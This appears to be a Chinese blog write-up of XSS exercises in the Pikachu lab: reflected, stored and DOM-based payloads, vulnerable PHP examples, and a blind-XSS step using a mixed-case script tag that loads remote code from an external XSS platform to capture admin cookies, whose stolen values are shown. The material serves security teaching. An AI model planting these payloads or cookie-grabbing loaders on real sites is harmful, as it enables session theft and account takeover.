了解xss漏洞pikachu的三大基础xss和xss平台

c靶场pikachu,bp抓包

XSS 跨站漏洞产生原理:

创建一个回显传参的脚本:

<?php

xss=_GET['x'];

echo $xss;

?>

如果产生弹窗。这里就是XSS的本质:如果对方对参数进行回显,传递的参数的的代码就会被回显者的浏览器执行。即对文件显示过程出现了问题。

此时攻击者可以构造恶意URL:

复制代码
http://example.com/vulnerable.php?x=<script>alert('XSS攻击')</script>

当用户访问这个链接时,浏览器会执行其中的JavaScript代码,弹出警告框。

浏览器差异对XSS的影响

IE浏览器(特别是新版)

  • 弹窗拦截:现代IE/Edge浏览器会拦截大多数未经用户交互的弹窗

  • XSS过滤器:IE有内置的XSS过滤器,会尝试检测和阻止反射型XSS攻击

  • 安全策略更严格

  1. 基础弹窗测试Payload
复制代码
<script>alert('XSS')</script>
<script>alert(1)</script>

2.点击事件

复制代码
' οnclick='alert(1)
" οnclick="alert(document.cookie)(普通Cookie - 可以获取如果没有HttpOnly:)

3.闭合标签Payload

复制代码
'></script><script>alert(1)</script>
'></div><script>alert(1)</script>

XSS 跨站漏洞分类

1.反射型(非持久性)

这关有字数长度的限制,可以在url上面进行修改或者在前端修改长度

尝试:

发现:

http://127.0.0.1/vul/xss/xss_reflected_get.php?message=1&submit=submit

出现相应修改的位置,尝试:

http://127.0.0.1/vul/xss/xss_reflected_get.php?message=<script>alert('xss')</script>&submit=submit

此时弹窗出现了xss这样的字眼

这个页面有一个表单:

复制代码
<form method="get">
    <input class="xssr_in" type="text" maxlength="20" name="message" />
    <input class="xssr_submit" type="submit" name="submit" value="submit" />
</form>
复制代码
<input class="xssr_in" type="text" maxlength="20" name="message" />

后后端的php代码比如(可能):

复制代码
if(isset($_GET['message'])) {
    $user_input = $_GET['message'];
    // 这里存在XSS漏洞 - 没有对用户输入进行转义
    echo "你喜欢的NBA球员是: " 

get传参message的参数然后这里存在xss漏洞之后输出就弹窗了

输入后提交<script>alert('xss')</script>

<p class='notice'>who is <script>alert('xss')</script>,i don't care!</p>

总结这个:

漏洞流程总结

1. 前端表单提交

复制代码
<form method="get">
    <input class="xssr_in" type="text" maxlength="20" name="message" />
    <input class="xssr_submit" type="submit" name="submit" value="submit" />
</form>

2. 后端PHP处理(可能存在这样的漏洞)

复制代码
<?php
if(isset($_GET['message'])) {
    $user_input = $_GET['message'];
    // 🚨 漏洞在这里!没有对用户输入进行转义
    echo "你喜欢的NBA球员是: " . $user_input;
}
?>

3. 攻击过程

正常输入:

复制代码
用户输入: kobe
URL: http://127.0.0.1/vul/xss/xss_reflected_get.php?message=kobe&submit=submit
输出: 你喜欢的NBA球员是: kobe

XSS攻击输入:

复制代码
用户输入: <script>alert('XSS')</script>
URL: http://127.0.0.1/vul/xss/xss_reflected_get.php?message=<script>alert('XSS')</script>&submit=submit
输出: 你喜欢的NBA球员是: <script>alert('XSS')</script>

4. 浏览器执行

浏览器收到HTML响应:

复制代码
你喜欢的NBA球员是: <script>alert('XSS')</script>

浏览器解析并执行其中的JavaScript代码

弹出警告框"XSS"

漏洞本质

根本原因:服务器将用户输入直接插入到HTML中,没有进行安全转义。

2.存储型xss(持久性)

<script>alert('1')</script>

<script>alert(1)</script>

<script>alert(2)</script>

此时就存储了三个数据

和反射型的区别:反射型回显参数,每次传递的参数不一样,XSS效果也就不一样(如果不构造,不会触发漏洞)。但是存储型不一样,写入了之后,每次访问留言板,都会触发XSS(相当于存储到了网站的数据库,攻击会持续到数据在数据库中被删除,危害性更大)。

存储型XSS vs 反射型XSS:核心区别对比

特性维度 存储型XSS(持久型) 反射型XSS(非持久型)
存储位置 服务器端(数据库、文件、留言、用户资料等) 不存储。恶意脚本作为请求参数,仅存在于HTTP请求和响应中。
触发方式 用户只需正常访问一个被"污染"的页面(如留言板、文章页)。 用户必须主动点击一个专门构造的恶意链接。
传播与影响 广泛且持续 。影响所有访问该页面的用户,易于形成蠕虫传播 针对性强且一次性。通常需要诱骗特定用户点击链接,影响范围有限。
攻击持久性 长期有效。只要恶意数据未被从服务器删除,攻击就一直存在。 短期有效。通常一次响应后即失效,或者链接过期后失效。
隐蔽性 。受害者是在进行正常浏览时中招,防不胜防。 相对较低。依赖于用户点击一个可疑或伪装过的链接。
危害等级 极高。是三种XSS中危害最大的,常被定为高危漏洞。 中到高。危害取决于诱导点击的成功率。
技术比喻 "公共饮水机投毒":投一次毒,所有来喝水的人都会中毒。 "递给你一杯毒酒":需要骗你亲自喝下。
代码示例流程 1. 攻击者提交恶意评论 <script>...</script> 2. 服务器存入数据库 3. 受害者V访问文章页 4. 服务器从数据库取出恶意评论并返回 5. 受害者V的浏览器执行恶意脚本 1. 攻击者构造链接 http://example.com/search?q=<script>...</script> 2. 诱骗受害者V点击该链接 3. 服务器将 q 参数的值直接返回给页面 4. 受害者V的浏览器接收到并执行了包含恶意脚本的页面

但是其实都是前端传到后端php然后再php传回前端,只不过存储型他要经过数据库,危害更严重

  1. DOM型

了解一下HTMLDOM树(https://www.runoob.com/htmldom/htmldom-tutorial.html

场景一:通过改变URL编号来换页(传统方式):

  1. 用户点击"第2页"的链接,浏览器向服务器发起一个新的请求:https://example.com/products?page=2

  2. 服务器接收到请求,根据 page=2 这个参数,从数据库获取第二页的数据。

场景二:点击"查看更多"后URL不变(现代SPA方式):

它的核心技术是 前端JavaScript操作DOM

click me 这关

先随便输代码然后看源代码发现:

//试试:'><img src="#" οnmοuseοver="alert('xss')">

//试试:' οnclick="alert('xss')">,闭合掉就行

试试就试试,其实就是

#' οnclick="alert(2)"

<a href='#' οnclick="alert(2)" >

靶场dom-xss

不断点击发现:

源代码:

关键JavaScript代码

复制代码
function domxss(){
    var str = window.location.search;
    var txss = decodeURIComponent(str.split("text=")[1]);
    var xss = txss.replace(/\+/g,' ');
    
    document.getElementById("dom").innerHTML = "<a href='"+xss+"'>就让往事都随风,都随风吧</a>";
}

这个就是利用js代码产生的漏洞跟上一关是一个道理只需要闭合就行可以:

<a href='' οnclick='alert(123)'>'>what do you see?</a>

所以Payload为:

'οnclick='alert(123)'>

弹窗成功:

对于xss在线平台尝试(https://xssaq.com/?callback=project&act=view&id=12637):

创建:

开始尝试:

查看配置代码:

打开⼀个pikachu平台 xss盲打并将我们刚才复制的script恶意代码输⼊进去

<sCRiPt/SrC=//xs.pe/xRl>

尝试:

模拟管理员登录后台的操作 登录完成后触发我们插⼊的恶意代码

登录后台,看会发生啥?后台登录地址是/xssblind/admin_login.php

http://127.0.0.1/vul/xss/xssblind/admin_login.php

admin,123456

再去平台上面查看:

然后再查看:

|-------------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------|
| Cookies | ant[uname]=admin; ant[pw]=10470c3b4b1fed12c3baac014be15fac67c6e815; __itrace_wid=b08a96b2-e7cd-45b4-2bbb-4b950a980e00; PHPSESSID=ej639envg2nit5skdabl2cc9v0 |

补充:

#cookie和session理论:

---Cookie:用户凭据:通过凭据可以判断对方身份信息,存储本地浏览器,存活时间较长,一般为小中型网站。(1.对方有漏洞2.对方浏览器不会阻止脚本的运行3.对方浏览器要保存cookie 4.对方管理员要触发XSS)

---session 会话,存储于服务器,存活时间较短,一般为大型网站。

相关推荐
网安小白的进阶之路3 小时前
B模块 安全通信网络 第一门课 园区网实现与安全-1
网络·安全
快起来搬砖了3 小时前
Vue 实现阿里云 OSS 视频分片上传:安全实战与完整方案
vue.js·安全·阿里云
爱隐身的官人4 小时前
beef-xss hook.js访问失败500错误
javascript·xss
changlianzhifu15 小时前
AI反欺诈与生物识别:数字支付的安全双刃剑
人工智能·安全
独行soc6 小时前
2025年渗透测试面试题总结-254(题目+回答)
网络·python·安全·web安全·adb·渗透测试·安全狮
newxtc6 小时前
【中国石油和化工网-注册安全分析及升级报告】
人工智能·selenium·测试工具·安全·短信盗刷·石油和化工
龙亘川6 小时前
应急管理数字化转型深度解析:从政策到落地,AI + 大数据如何重塑安全防线(附白皮书 5 页核心干货)
大数据·人工智能·安全·智慧城市·ai + 应急·应急管理数字化·解读技术白皮书
武汉唯众智创7 小时前
网络安全教学升级!基于深度强化学习的动态对抗网络安全防护教学方案全解析
网络·人工智能·安全·web安全·生成对抗网络·网络安全
寂寞旅行8 小时前
Nginx配置WSS安全WebSocket代理
websocket·nginx·安全
一位搞嵌入式的 genius9 小时前
TLS协议深度解析:新一代网络安全传输标准
网络·计算机网络·安全·web安全·网络通信·tls协议